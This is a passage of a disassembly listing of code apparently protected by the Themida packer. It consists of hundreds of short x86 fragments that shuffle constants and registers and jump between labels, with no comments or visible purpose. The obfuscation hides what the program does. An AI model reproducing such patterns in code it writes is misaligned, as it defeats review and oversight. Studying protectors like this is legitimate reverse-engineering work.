jmp loc_55EFB0
; ---------------------------------------------------------------------------
loc_563CB0: ; CODE XREF: Themida_:005545A7j
mov eax, 71570AD1h
add eax, 0BCB5155h
push esi
mov esi, 6A0060C9h
shl esi, 3
jmp loc_55C127
; ---------------------------------------------------------------------------
loc_563CC8: ; CODE XREF: Themida_:00564199j
dec edi
push eax
mov eax, 588458B9h
add edi, eax
pop eax
push ecx
push 1ED82B4Dh
mov ecx, [esp]
add esp, 4
sub edi, ecx
mov ecx, [esp]
jmp loc_55493F
; ---------------------------------------------------------------------------
loc_563CEB: ; CODE XREF: Themida_:0056313Fj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
jmp loc_55C55B
; ---------------------------------------------------------------------------
loc_563D25: ; CODE XREF: Themida_:00565675j
push eax
jmp loc_5512DD
; ---------------------------------------------------------------------------
loc_563D2B: ; CODE XREF: Themida_:0055D263j
pop eax
xor esi, 64800350h
or [edi+1Ch], esi
push dword ptr [esp]
pop esi
jmp loc_552DD6
; ---------------------------------------------------------------------------
loc_563D3E: ; CODE XREF: Themida_:0056292Bj
add ebx, 4
jmp loc_55E5A6
; ---------------------------------------------------------------------------
loc_563D49: ; CODE XREF: Themida_:005506EEj
push esi
push edx
pop esi
jmp loc_565613
; ---------------------------------------------------------------------------
loc_563D51: ; CODE XREF: Themida_:00557544j
mov esp, [esp]
mov [esp], eax
mov eax, 7ED648C5h
shr eax, 8
push esi
jmp loc_56379C
; ---------------------------------------------------------------------------
loc_563D65: ; CODE XREF: Themida_:005606A2j
pop esi
push ebx
push edi
mov edi, 291763D2h
inc edi
sub edi, 6CD42180h
sub edi, 3EC5BFDh
xor edi, 56F00F02h
sub edi, 0E6797624h
mov ebx, edi
pop edi
xor eax, ebx
pop ebx
add esi, eax
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
jmp loc_55283C
; ---------------------------------------------------------------------------
loc_563D9A: ; CODE XREF: Themida_:00561F84j
mov dl, 0BDh
sub esp, 2
jmp loc_55D250
; ---------------------------------------------------------------------------
loc_563DA4: ; CODE XREF: Themida_:0055EF76j
push 290Bh
mov [esp], esi
not dword ptr [esp]
pop esi
neg esi
shl esi, 3
jmp loc_562EA4
; ---------------------------------------------------------------------------
loc_563DBA: ; CODE XREF: Themida_:005572DBj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push 25DDh
jmp near ptr word_555BFE
; ---------------------------------------------------------------------------
loc_563DCE: ; CODE XREF: Themida_:00551D79j
pop esi
and esi, ecx
push dword ptr [esp]
pop ecx
jmp loc_555E02
; ---------------------------------------------------------------------------
loc_563DDA: ; CODE XREF: Themida_:005627C9j
sub ebx, ebp
pop ebp
jmp loc_56348A
; ---------------------------------------------------------------------------
loc_563DE2: ; CODE XREF: Themida_:0055E008j
mov esp, [esp]
jmp loc_564E1B
; ---------------------------------------------------------------------------
loc_563DEA: ; CODE XREF: Themida_:00557C4Fj
mov edi, [esp]
add esp, 4
and ebx, 3C446135h
push ecx
mov ecx, 2F940AE8h
sub ecx, 2157061Ah
dec ecx
xor ecx, 0D3549BD0h
xor ebx, ecx
pop ecx
sub edx, ebx
jmp loc_550F15
; ---------------------------------------------------------------------------
loc_563E16: ; CODE XREF: Themida_:00557C3Dj
pop ecx
pop esi
and eax, ebx
mov ebx, [esp]
jmp loc_552978
; ---------------------------------------------------------------------------
loc_563E22: ; CODE XREF: Themida_:00557869j
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563E2E: ; CODE XREF: Themida_:00556AF9j
push dword ptr [esp]
pop edi
add esp, 4
push 7FABh
mov [esp], edx
jmp loc_55E3D2
; ---------------------------------------------------------------------------
loc_563E45: ; CODE XREF: Themida_:0055D01Dj
push dword ptr [esp+4]
jmp loc_565518
; ---------------------------------------------------------------------------
loc_563E4E: ; CODE XREF: Themida_:0055A0F4j
sub esp, 4
mov [esp], edx
mov edx, 24C51792h
push ebp
mov ebp, 7A17F9h
shr ebp, 2
shr ebp, 1
jmp loc_55B06C
; ---------------------------------------------------------------------------
loc_563E6C: ; CODE XREF: Themida_:00558C24j
add eax, 0E93C78h
add eax, ebp
push edx
jmp loc_55044B
; ---------------------------------------------------------------------------
loc_563E79: ; CODE XREF: Themida_:00551293j
push esi
mov esi, 7189172Fh
sub eax, esi
jmp loc_555BAE
; ---------------------------------------------------------------------------
loc_563E86: ; CODE XREF: Themida_:0055EB8Aj
mov bx, [esp]
jmp loc_55994B
; ---------------------------------------------------------------------------
loc_563E8F: ; CODE XREF: Themida_:00552CF6j
mov ebp, 61EF7228h
add ebp, 0D058E70Bh
sub edx, ebp
pop ebp
sub edx, 0CFB8A54Eh
jmp loc_557A57
; ---------------------------------------------------------------------------
loc_563EA8: ; CODE XREF: Themida_:0055DE3Bj
sub eax, ebx
pop ebx
jmp loc_556893
; ---------------------------------------------------------------------------
loc_563EB0: ; CODE XREF: Themida_:0055F7A5j
pop edx
and edx, 15932A1Ch
push eax
mov eax, 7C903D89h
sub edx, eax
mov eax, [esp]
add esp, 4
dec edx
add edx, 6C7D3572h
add edi, edx
jmp loc_55D1CF
; ---------------------------------------------------------------------------
loc_563ED6: ; CODE XREF: Themida_:00561FBCj
pop ecx
add ebx, 378F7E29h
jmp loc_55BCC4
; ---------------------------------------------------------------------------
loc_563EE2: ; CODE XREF: Themida_:005558CFj
add esi, edx
pop edx
add eax, 19210E1h
jmp loc_55B142
; ---------------------------------------------------------------------------
loc_563EEF: ; CODE XREF: Themida_:00565471j
add eax, 631536ECh
jmp loc_55959E
; ---------------------------------------------------------------------------
loc_563EF9: ; CODE XREF: Themida_:00558DA9j
pop edx
shr eax, 2
not eax
xor eax, 92B2853Ch
add edx, eax
pop eax
jmp loc_556773
; ---------------------------------------------------------------------------
loc_563F0C: ; CODE XREF: Themida_:00563214j
pop ebp
push ebx
mov ebx, 4
sub edi, ebx
pop ebx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, 6CF059D9h
push ebp
pop edi
jmp loc_5560CA
; ---------------------------------------------------------------------------
loc_563F30: ; CODE XREF: Themida_:0055417Aj
shl eax, 1
xor eax, 0E87D80D7h
add edx, eax
mov eax, [esp]
jmp loc_557289
; ---------------------------------------------------------------------------
loc_563F41: ; CODE XREF: Themida_:0055972Fj
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
pop eax
push eax
push esp
pop eax
add eax, 4
push 70A2h
mov [esp], esi
jmp loc_55F065
; ---------------------------------------------------------------------------
loc_563F6A: ; CODE XREF: Themida_:00560FE6j
sub esp, 4
mov [esp], edi
mov edi, 3843F3Bh
and edi, 73AB3094h
xor edi, 9F1405Dh
add eax, edi
pop edi
pop edx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_561155
; ---------------------------------------------------------------------------
loc_563F9E: ; CODE XREF: Themida_:00552973j
sub ebx, 0AC648ED2h
add eax, ebx
mov ebx, [esp]
jmp loc_55DDD5
; ---------------------------------------------------------------------------
loc_563FAE: ; CODE XREF: Themida_:0055EAABj
mov esi, ebp
mov ebp, [esp]
add esp, 4
sub esi, 5E113244h
jmp loc_5654AB
; ---------------------------------------------------------------------------
loc_563FC1: ; CODE XREF: Themida_:0055CBABj
add esp, 4
jmp loc_551B9D
; ---------------------------------------------------------------------------
loc_563FCC: ; CODE XREF: Themida_:0055CD13j
mov ecx, 7D77F08Ah
add eax, 66DF7AD7h
push ecx
jmp loc_556615
; ---------------------------------------------------------------------------
loc_563FDC: ; CODE XREF: Themida_:00559C65j
push esi
jmp loc_554D26
; ---------------------------------------------------------------------------
loc_563FE2: ; CODE XREF: Themida_:00554114j
sub esi, 0E681E8Dh
shl esi, 7
sub esi, 0B95A856Eh
add eax, 45D23EF3h
add eax, esi
jmp loc_553FF7
; ---------------------------------------------------------------------------
loc_563FFD: ; CODE XREF: Themida_:00562F6Cj
pop ebx
add eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 58B92FC6h
push 0B39A9945h
pop ebx
sub ebx, ebp
pop ebp
sub esp, 4
mov [esp], edi
jmp loc_554155
; ---------------------------------------------------------------------------
loc_564032: ; CODE XREF: Themida_:0056189Aj
push edx
push esp
pop edx
push ebp
mov ebp, 4
add edx, 56943DA8h
sub edx, 19681007h
add edx, ebp
add edx, 19681007h
sub edx, 56943DA8h
pop ebp
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_55E0D1
; ---------------------------------------------------------------------------
loc_564064: ; CODE XREF: Themida_:0055C062j
add edi, 647A53E3h
jmp loc_561EFE
; ---------------------------------------------------------------------------
loc_56406F: ; CODE XREF: Themida_:0055D94Fj
mov esp, [esp]
push ecx
push ebx
mov bl, dl
jmp loc_556F92
; ---------------------------------------------------------------------------
loc_56407B: ; CODE XREF: Themida_:0055A36Ej
mov ebp, 947BC396h
sub ecx, ebp
jmp loc_557B60
; ---------------------------------------------------------------------------
loc_564087: ; CODE XREF: Themida_:0055F70Bj
neg edx
xor edx, 3CB50CCh
dec edx
xor edx, 8BFDC2CAh
sub eax, edx
pop edx
jmp loc_5578B6
; ---------------------------------------------------------------------------
loc_56409E: ; CODE XREF: Themida_:00563CA3j
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
jmp loc_555726
; ---------------------------------------------------------------------------
loc_5640C3: ; CODE XREF: Themida_:00553FF2j
add edi, 0EB9B0EE8h
mov ebx, edi
push dword ptr [esp]
pop edi
add esp, 4
sub eax, ebx
jmp loc_560807
; ---------------------------------------------------------------------------
loc_5640D9: ; CODE XREF: Themida_:005512D8j
sub edi, edx
mov edx, [esp]
jmp loc_55742D
; ---------------------------------------------------------------------------
loc_5640E3: ; CODE XREF: Themida_:0055847Cj
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], eax
push esi
mov esi, 5AB3589Bh
xor esi, 2C9B4B1Ch
jmp loc_563015
; ---------------------------------------------------------------------------
loc_564100: ; CODE XREF: Themida_:0055DA3Dj
pop ebx
or ebp, 29BF0A40h
jmp loc_5591EE
; ---------------------------------------------------------------------------
loc_56410C: ; CODE XREF: Themida_:005505D6j
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, 1D800B2Dh
add ebp, 38330185h
inc ebp
jmp loc_560E39
; ---------------------------------------------------------------------------
loc_56412D: ; CODE XREF: Themida_:0055BFDCj
pop esi
push 7273h
mov [esp], ebp
push edi
mov edi, 624B19D7h
xor edi, 36F63694h
sub edi, 329DBF34h
mov ebp, edi
jmp loc_550E5A
; ---------------------------------------------------------------------------
loc_56414F: ; CODE XREF: Themida_:00564CD1j
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp]
mov esp, [esp]
and eax, ecx
mov ecx, [esp]
add esp, 4
or eax, eax
jmp loc_561A1E
; ---------------------------------------------------------------------------
loc_56417C: ; CODE XREF: Themida_:00551A0Cj
mov ebx, [esp]
add esp, 4
jmp loc_551A69
; ---------------------------------------------------------------------------
loc_564187: ; CODE XREF: Themida_:0055ECECj
pop dword ptr [esp]
pop esp
add dword ptr [esp+4], 72712E10h
jmp loc_552851
; ---------------------------------------------------------------------------
loc_564198: ; CODE XREF: Themida_:00550DD2j
pop edi
jmp loc_563CC8
; ---------------------------------------------------------------------------
loc_56419E: ; CODE XREF: Themida_:00562D9Dj
push edx
jmp loc_554E67
; ---------------------------------------------------------------------------
loc_5641A4: ; CODE XREF: Themida_:00553BCBj
xchg esi, [esp]
pop esp
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
push ecx
jmp loc_5531DC
; ---------------------------------------------------------------------------
loc_5641BA: ; CODE XREF: Themida_:00556433j
mov edx, 70551371h
not edx
jmp loc_55F58F
; ---------------------------------------------------------------------------
loc_5641C6: ; CODE XREF: Themida_:0055C3A8j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5641CB: ; CODE XREF: Themida_:00556B62j
or ebp, 0E394027h
jmp loc_5568AB
; ---------------------------------------------------------------------------
loc_5641D6: ; CODE XREF: Themida_:0055D57Dj
add esp, 4
inc ecx
add ecx, 6CEF568Ch
and esi, ecx
pop ecx
sub esp, 4
mov [esp], edi
push ebp
mov ebp, 72A76D16h
mov edi, ebp
pop ebp
jmp loc_5658B3
; ---------------------------------------------------------------------------
loc_5641FA: ; CODE XREF: Themida_:00564745j
mov eax, ebp
mov esi, eax
pop eax
pop ebp
push ecx
mov ecx, 290C41CEh
or ecx, 20700F21h
jmp loc_55D54F
; ---------------------------------------------------------------------------
loc_564211: ; CODE XREF: Themida_:0055BA31j
pop eax
sub ecx, ebp
pop ebp
jmp loc_55066D
; ---------------------------------------------------------------------------
loc_56421A: ; CODE XREF: Themida_:00564EA0j
mov ebx, esp
add ebx, 4
jmp loc_561C13
; ---------------------------------------------------------------------------
loc_564227: ; CODE XREF: Themida_:0055B615j
mov esi, [esp]
add esp, 4
sub ebx, 42A7428Ch
sub ebx, 46353E12h
add ebx, eax
add ebx, 46353E12h
push ebp
jmp loc_55C453
; ---------------------------------------------------------------------------
loc_56424A: ; CODE XREF: Themida_:0055BF68j
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55CE3C
; ---------------------------------------------------------------------------
loc_564256: ; CODE XREF: Themida_:0055547Dj
add eax, ebx
add eax, 739F118Ch
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_556765
; ---------------------------------------------------------------------------
loc_56426E: ; CODE XREF: Themida_:0055373Fj
pop ecx
jmp loc_55B329
; ---------------------------------------------------------------------------
loc_564274: ; CODE XREF: Themida_:00562A8Dj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push cx
mov ch, 4Bh
add bl, ch
pop cx
push 277Dh
mov [esp], eax
mov al, 64h
neg al
jmp loc_559382
; ---------------------------------------------------------------------------
loc_5642A0: ; CODE XREF: Themida_:00560E34j
push dword ptr [esp]
jmp loc_55883C
; ---------------------------------------------------------------------------
loc_5642A8: ; CODE XREF: Themida_:00560645j
push edx
mov edx, 6ACD661Bh
neg edx
sub edx, 44675677h
sub edx, 58744261h
and edx, 23881B59h
xor edx, 3AC74F5Bh
sub eax, edx
pop edx
jmp loc_55F0E9
; ---------------------------------------------------------------------------
loc_5642D0: ; CODE XREF: Themida_:005610B9j
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_552A5F
; ---------------------------------------------------------------------------
loc_5642DC: ; CODE XREF: Themida_:0055CD66j
add eax, ebx
push esi
mov esi, esp
add esi, 4
jmp loc_5512A2
; ---------------------------------------------------------------------------
loc_5642EC: ; CODE XREF: Themida_:005597E8j
pop esi
add esi, 4
push 0A60h
mov [esp], ebp
push ecx
jmp loc_556940
; ---------------------------------------------------------------------------
loc_564301: ; CODE XREF: Themida_:005575C7j
push dword ptr [esp]
pop eax
jmp loc_55ED41
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_564313: ; CODE XREF: Themida_:0055E1FCj
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
add ebx, 4
jmp loc_55CDD2
; ---------------------------------------------------------------------------
loc_56432F: ; CODE XREF: Themida_:00558FA3j
push ebx
mov ebx, 3F3A7743h
not ebx
shr ebx, 2
xor ebx, 4062D4h
xor esi, ebx
pop ebx
or esi, 7F3C00E7h
jmp loc_55A384
; ---------------------------------------------------------------------------
loc_56434E: ; CODE XREF: Themida_:0055E39Fj
mov ebp, [esp]
add esp, 4
sub dword ptr [esp], 75BA3676h
sub esp, 4
mov [esp], esi
jmp loc_550631
; ---------------------------------------------------------------------------
loc_564369: ; CODE XREF: Themida_:00551955j
xor dword ptr [esp], 27F253CCh
pop dword ptr [edi+20h]
xor dword ptr [edi+20h], 27F253CCh
pop ebp
loc_56437B: ; CODE XREF: Themida_:005550F8j
; Themida_:00560D6Ej
mov ebx, [esp]
push edx
mov edx, esp
sub esp, 4
jmp loc_55535C
; ---------------------------------------------------------------------------
loc_56438C: ; CODE XREF: Themida_:0055DACFj
pop ecx
push ebx
sub dword ptr [esp], 5D446D66h
jmp loc_55F0CF
; ---------------------------------------------------------------------------
loc_56439A: ; CODE XREF: Themida_:00553AD6j
xchg ecx, [esp]
pop esp
jmp loc_55C4B8
; ---------------------------------------------------------------------------
loc_5643A3: ; CODE XREF: Themida_:005600D3j
push 611306F6h
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_552509
; ---------------------------------------------------------------------------
loc_5643B7: ; CODE XREF: Themida_:0055DCDBj
push 1000h
push dword ptr [esp]
jmp loc_55B077
; ---------------------------------------------------------------------------
loc_5643C4: ; CODE XREF: Themida_:0055EFD5j
mov ebp, 7E0E78FCh
shl ebp, 1
push ecx
jmp loc_55B7C1
; ---------------------------------------------------------------------------
loc_5643D1: ; CODE XREF: Themida_:0055F490j
add bl, 0E0h
pop edx
sub bl, ch
sub esp, 4
mov [esp], ecx
mov cl, 0Fh
sub bl, 9Fh
add bl, cl
push dx
jmp loc_55A6E8
; ---------------------------------------------------------------------------
loc_5643EE: ; CODE XREF: Themida_:005614A3j
shl esi, 7
jmp loc_55CF4E
; ---------------------------------------------------------------------------
loc_5643F6: ; CODE XREF: Themida_:005545AEj
pop ecx
sub edx, 66A7B213h
shl edx, 8
push 65DEh
mov [esp], edi
push 3D5F0A00h
pop edi
xor edx, edi
jmp loc_5609F0
; ---------------------------------------------------------------------------
loc_564415: ; CODE XREF: Themida_:00555693j
inc dh
jmp loc_5537A8
; ---------------------------------------------------------------------------
loc_56441C: ; CODE XREF: Themida_:0055367Fj
pop edx
push eax
mov al, 0C0h
or al, 99h
jmp loc_5513C6
; ---------------------------------------------------------------------------
loc_564427: ; CODE XREF: Themida_:0055CA83j
mov esi, 1D3D5EBFh
xor ebx, esi
jmp loc_551454
; ---------------------------------------------------------------------------
loc_564433: ; CODE XREF: Themida_:0056550Bj
push ebp
mov ebp, 4
push 58F5h
mov [esp], edi
mov edi, 1BE01C33h
push ebx
push ecx
mov ecx, 1CE36372h
mov ebx, 3A31707Bh
sub ebx, ecx
jmp loc_55D0F6
; ---------------------------------------------------------------------------
loc_564459: ; CODE XREF: Themida_:00561A27j
push dword ptr [esp]
jmp loc_560AD9
; ---------------------------------------------------------------------------
loc_564461: ; CODE XREF: Themida_:0056549Cj
mov [esp], eax
push ebx
push 476C617Ch
pop ebx
inc ebx
jmp loc_550DDF
; ---------------------------------------------------------------------------
loc_564471: ; CODE XREF: Themida_:00550822j
push 0B78h
mov [esp], ebx
mov ebx, 43016DDh
add eax, 0AC11E20h
sub eax, ebx
sub eax, 0AC11E20h
pop ebx
sub eax, 16204B27h
pop ebp
movzx ax, byte ptr [eax]
push small 7382h
jmp loc_556937
; ---------------------------------------------------------------------------
loc_56449E: ; CODE XREF: Themida_:00556504j
mov dh, 3
add ah, 0F2h
sub ah, dh
sub ah, 0F2h
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_561D07
; ---------------------------------------------------------------------------
loc_5644C2: ; CODE XREF: Themida_:00557D08j
mov ecx, 6B444CE6h
push ecx
not dword ptr [esp]
pop ecx
push 1A97h
mov [esp], ecx
xchg eax, [esp]
not eax
xchg eax, [esp]
jmp loc_55DDF0
; ---------------------------------------------------------------------------
loc_5644E1: ; CODE XREF: Themida_:0055A3F8j
not dl
inc dl
sub dl, 8Fh
jmp loc_55E654
; ---------------------------------------------------------------------------
loc_5644ED: ; CODE XREF: Themida_:0055752Aj
sub ebx, 7A659F2h
jmp loc_5594E7
; ---------------------------------------------------------------------------
loc_5644F8: ; CODE XREF: Themida_:0055CED9j
push cx
mov cl, 35h
xor dh, cl
jmp loc_5604F8
; ---------------------------------------------------------------------------
loc_564503: ; CODE XREF: Themida_:0055EEE8j
add ebx, ecx
pop ecx
sub ebx, ebp
sub ebx, 39D30A3Eh
jmp loc_55807D
; ---------------------------------------------------------------------------
loc_564513: ; CODE XREF: Themida_:0055A7C6j
mov eax, [esp]
add esp, 4
mov ah, bl
jmp loc_55B753
; ---------------------------------------------------------------------------
loc_564520: ; CODE XREF: Themida_:00556AD9j
pop edx
xchg ebp, [esp]
jmp loc_553C29
; ---------------------------------------------------------------------------
loc_564529: ; CODE XREF: Themida_:0055D71Dj
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_557A86
; ---------------------------------------------------------------------------
loc_56453A: ; CODE XREF: Themida_:00556349j
pop ebx
jmp loc_550774
; ---------------------------------------------------------------------------
loc_564540: ; CODE XREF: Themida_:00560EADj
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_564DBC
; ---------------------------------------------------------------------------
loc_56455B: ; CODE XREF: Themida_:0055D9DBj
pop dword ptr [esp]
pop esp
jmp loc_563A9D
; ---------------------------------------------------------------------------
loc_564564: ; CODE XREF: Themida_:00565C4Ej
sub ebx, 7FBE7BD3h
mov eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_56378F
; ---------------------------------------------------------------------------
loc_56457A: ; CODE XREF: Themida_:00561AE9j
add esp, 4
push eax
mov eax, 56D21227h
and ebp, eax
pop eax
push eax
push esi
mov esi, 7B416F82h
jmp loc_55E268
; ---------------------------------------------------------------------------
loc_564595: ; CODE XREF: Themida_:005543F7j
sub esp, 4
mov [esp], esi
sub esp, 4
jmp loc_55C213
; ---------------------------------------------------------------------------
loc_5645A6: ; CODE XREF: Themida_:00552BF9j
add eax, ecx
mov ecx, [esp]
add esp, 4
push 10C1h
mov [esp], edx
mov edx, 4
push edi
mov edi, 64A67C62h
xor edi, 5B566025h
jmp loc_559FD9
; ---------------------------------------------------------------------------
loc_5645CC: ; CODE XREF: Themida_:0055FBD8j
add ecx, edi
push dword ptr [ecx]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
jmp loc_560275
; ---------------------------------------------------------------------------
loc_5645E7: ; CODE XREF: Themida_:00550B27j
add esp, 4
add ebx, 45E63043h
add ebx, esi
sub ebx, 45E63043h
mov esi, [esp]
add esp, 4
push dword ptr [ebx]
push dword ptr [esp]
pop eax
jmp loc_55D411
; ---------------------------------------------------------------------------
loc_56460F: ; CODE XREF: Themida_:00555E65j
sub ecx, 1B7228E9h
push eax
push ebp
jmp loc_553FA6
; ---------------------------------------------------------------------------
loc_56461C: ; CODE XREF: Themida_:0055BF7Cj
mov ecx, 44E50C8Dh
add eax, ecx
pop ecx
mov ecx, [esp]
push ebp
push esp
jmp loc_558B2C
; ---------------------------------------------------------------------------
loc_56462E: ; CODE XREF: Themida_:00554833j
sub edi, 0E0F27B7h
add edi, 582C1E4Fh
jmp loc_558DE1
; ---------------------------------------------------------------------------
loc_56463F: ; CODE XREF: Themida_:0055531Bj
mov esi, [esp]
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56464D: ; CODE XREF: Themida_:005533E7j
pop edi
xchg edx, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, esp
add edx, 4
push ebx
push eax
jmp loc_556138
; ---------------------------------------------------------------------------
loc_564666: ; CODE XREF: Themida_:0055086Cj
mov [esp], eax
jmp loc_565C76
; ---------------------------------------------------------------------------
loc_56466E: ; CODE XREF: Themida_:00554B5Dj
sub al, dl
sub al, 95h
pop edx
add bl, 5Bh
jmp loc_5577D1
; ---------------------------------------------------------------------------
loc_56467B: ; CODE XREF: Themida_:005623FFj
mov esi, ebp
pop ebp
add ebp, 12096C0Dh
sub ebp, esi
sub ebp, 12096C0Dh
pop esi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_55A932
; ---------------------------------------------------------------------------
loc_56469C: ; CODE XREF: Themida_:00553FCDj
not edx
add edx, 1860851h
add ecx, 7F195E2Ah
add ecx, edx
jmp loc_555CA7
; ---------------------------------------------------------------------------
loc_5646B1: ; CODE XREF: Themida_:00554150j
push 2F28h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 404Ch
jmp loc_558EEA
; ---------------------------------------------------------------------------
loc_5646CC: ; CODE XREF: Themida_:00557B41j
add edx, 4
jmp loc_5627CE
; ---------------------------------------------------------------------------
loc_5646D4: ; CODE XREF: Themida_:0055B93Aj
add esp, 4
pop dword ptr [esp]
pop esp
loc_5646DB: ; CODE XREF: Themida_:00557D2Bj
push 2917h
jmp loc_55C116
; ---------------------------------------------------------------------------
loc_5646E5: ; CODE XREF: Themida_:00550C88j
pop ebp
jmp loc_55B7FB
; ---------------------------------------------------------------------------
loc_5646EB: ; CODE XREF: Themida_:0055EB28j
sub ebx, edx
pop edx
jmp loc_55CCAA
; ---------------------------------------------------------------------------
loc_5646F3: ; CODE XREF: Themida_:00563864j
or ebx, edx
mov edx, [esp]
add esp, 4
xor ebx, 6FC75907h
dec ebx
add ebx, 0DF66F90Ch
jmp loc_55CBD9
; ---------------------------------------------------------------------------
loc_56470D: ; CODE XREF: Themida_:00555DD5j
or edx, 70E442Ah
dec edx
and edx, 4D473F2Fh
not edx
xor edx, 0EC18C841h
xor edi, edx
pop edx
neg edi
dec edi
sub edi, 9D6D3FF8h
xor ebx, edi
pop edi
add edi, 3D917877h
add edi, ebx
jmp loc_5598BA
; ---------------------------------------------------------------------------
loc_56473E: ; CODE XREF: Themida_:0055C034j
push ebp
mov ebp, 37662032h
push eax
jmp loc_5641FA
; ---------------------------------------------------------------------------
loc_56474A: ; CODE XREF: Themida_:0055F613j
mov [esp], edi
push dword ptr [esp+4]
jmp loc_553C8E
; ---------------------------------------------------------------------------
loc_564756: ; CODE XREF: Themida_:005628C5j
shr ecx, 7
jmp loc_5546D2
; ---------------------------------------------------------------------------
loc_56475E: ; CODE XREF: Themida_:005507DBj
push esi
push dword ptr [esp+4]
jmp loc_55FDFE
; ---------------------------------------------------------------------------
loc_564768: ; CODE XREF: Themida_:00555D6Dj
add ebx, 8B80CA1h
add ebx, eax
sub ebx, 8B80CA1h
jmp loc_551B67
; ---------------------------------------------------------------------------
loc_56477B: ; CODE XREF: Themida_:00557CC8j
mov cl, dh
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop ebx
push ebx
jmp loc_56180B
; ---------------------------------------------------------------------------
loc_56478E: ; CODE XREF: Themida_:00552350j
xchg eax, [esp]
mov esp, [esp]
cmp cx, ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56479D: ; CODE XREF: Themida_:00555B72j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_551105
; ---------------------------------------------------------------------------
loc_5647B2: ; CODE XREF: Themida_:00550597j
sub ebx, 4
push 4DF5h
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55EBF8
; ---------------------------------------------------------------------------
loc_5647D2: ; CODE XREF: Themida_:0055723Dj
mov [esp], ebx
mov ebx, esp
push esi
mov esi, 4
jmp loc_55480C
; ---------------------------------------------------------------------------
loc_5647E2: ; CODE XREF: Themida_:00555C30j
push edi
jmp loc_55DDFC
; ---------------------------------------------------------------------------
loc_5647E8: ; CODE XREF: Themida_:0055101Cj
mov [esp], esi
push 66C7h
mov [esp], ebx
push edi
mov edi, 172406ACh
mov ebx, edi
jmp loc_55F7B8
; ---------------------------------------------------------------------------
loc_564800: ; CODE XREF: Themida_:0055A350j
mov edx, 961B5F17h
sub ecx, edx
pop edx
mov edx, ecx
pop ecx
sub esp, 4
jmp loc_56375F
; ---------------------------------------------------------------------------
loc_564816: ; CODE XREF: Themida_:0055FD0Fj
pop ecx
jmp loc_553359
; ---------------------------------------------------------------------------
loc_56481C: ; CODE XREF: Themida_:0056038Bj
shl eax, 5
inc eax
shr eax, 6
add eax, 0FC884EBDh
add ecx, 47F0DC9h
sub ecx, eax
sub ecx, 47F0DC9h
mov eax, [esp]
jmp loc_55665C
; ---------------------------------------------------------------------------
loc_56483E: ; CODE XREF: Themida_:0055A8ADj
mov [esp], edx
push 0E543F12h
pop edx
jmp loc_55D928
; ---------------------------------------------------------------------------
loc_56484C: ; CODE XREF: Themida_:00560069j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 0
sub [esp], ecx
mov ecx, [esp]
add esp, 4
jmp loc_562DBE
; ---------------------------------------------------------------------------
loc_564871: ; CODE XREF: Themida_:005530AAj
push ebx
jmp loc_55850A
; ---------------------------------------------------------------------------
loc_564877: ; CODE XREF: Themida_:00560888j
shl ebx, 6
push edi
mov edi, 7C731344h
inc edi
jmp loc_55AA5D
; ---------------------------------------------------------------------------
loc_564886: ; CODE XREF: Themida_:0055DB18j
neg ecx
shl ecx, 1
shr ecx, 7
push ebx
jmp loc_55A3D2
; ---------------------------------------------------------------------------
loc_564893: ; CODE XREF: Themida_:00552E64j
pop esp
push edi
mov edi, 1
add edx, edi
pop edi
xor edx, 0F81191Bh
push 3EB3h
mov [esp], eax
push 0DB295FFAh
pop eax
jmp loc_559833
; ---------------------------------------------------------------------------
loc_5648B6: ; CODE XREF: Themida_:00553A33j
inc edx
sub edx, 5F6267A2h
